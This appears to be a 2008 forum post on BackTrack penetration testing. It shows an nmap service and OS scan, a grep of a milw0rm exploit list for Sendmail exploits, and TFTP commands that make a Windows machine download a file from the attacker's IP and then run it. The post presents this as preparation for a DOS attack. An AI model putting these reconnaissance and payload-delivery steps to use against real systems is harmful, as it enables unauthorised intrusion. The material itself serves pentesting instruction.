For a DOS attack, you would want to get the service version and OS info using a tool like nmap (e.g. nmap -sV -O <host>) then find a working exploit for that service (e.g. from milw0rm)
As an example
Code:
bt ~ # nmap -sV -O 127.0.0.1
Starting Nmap 4.50 ( http insecure org ) at 2008-06-20 16:08 GMT
Interesting ports on bt.example.net (127.0.0.1):
Not shown: 1706 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Sendmail 8.14.1/8.14.1
80/tcp open http Apache httpd 2.2.4 ((Unix) DAV/2)
587/tcp open smtp Sendmail 8.14.1/8.14.1
5800/tcp open vnc-http?
5900/tcp open vnc VNC (protocol 3.3)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.17 - 2.6.21
Uptime: 0.134 days (since Fri Jun 20 12:57:01 2008)
Network Distance: 0 hops
Service Info: OS: Unix
OS and Service detection performed. Please report any incorrect results at http: insecure.org/nmap/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.536 seconds
bt ~ # cd /pentest/exploits/milw0rm/
bt milw0rm # cat sploitlist.txt | grep -i sendmail
./platforms/linux/remote/24.c Sendmail <= 8.12.8 prescan() BSD Remote Root Exploit
./platforms/linux/local/411.c Sendmail 8.11.x Exploit (i386-Linux)
./platforms/linux/dos/2051.py Sendmail <= 8.13.5 Remote Signal Handling Exploit PoC
./platforms/multiple/remote/4761.pl Sendmail with clamav-milter < 0.91.2 Remote Root Exploit
./rport/25/24.c Sendmail <= 8.12.8 prescan() BSD Remote Root Exploit
./rport/25/4761.pl Sendmail with clamav-milter < 0.91.2 Remote Root Exploit
bt milw0rm #
However, as you can see, there are no exploits for my version of sendmail, so this technique won't always work.
If you want to use tftp to make the windows box download something from you, you'll need to start a tftp server on your backtrack box first. So put your file in /tmp then:
Code:
atftpd --daemon --port 69 /tmp
And on your windows machine:
Code:
tftp -i <yourip> GET <filename>
Now you can simply execute the file on your windows box.
When your done, do to stop the tftp server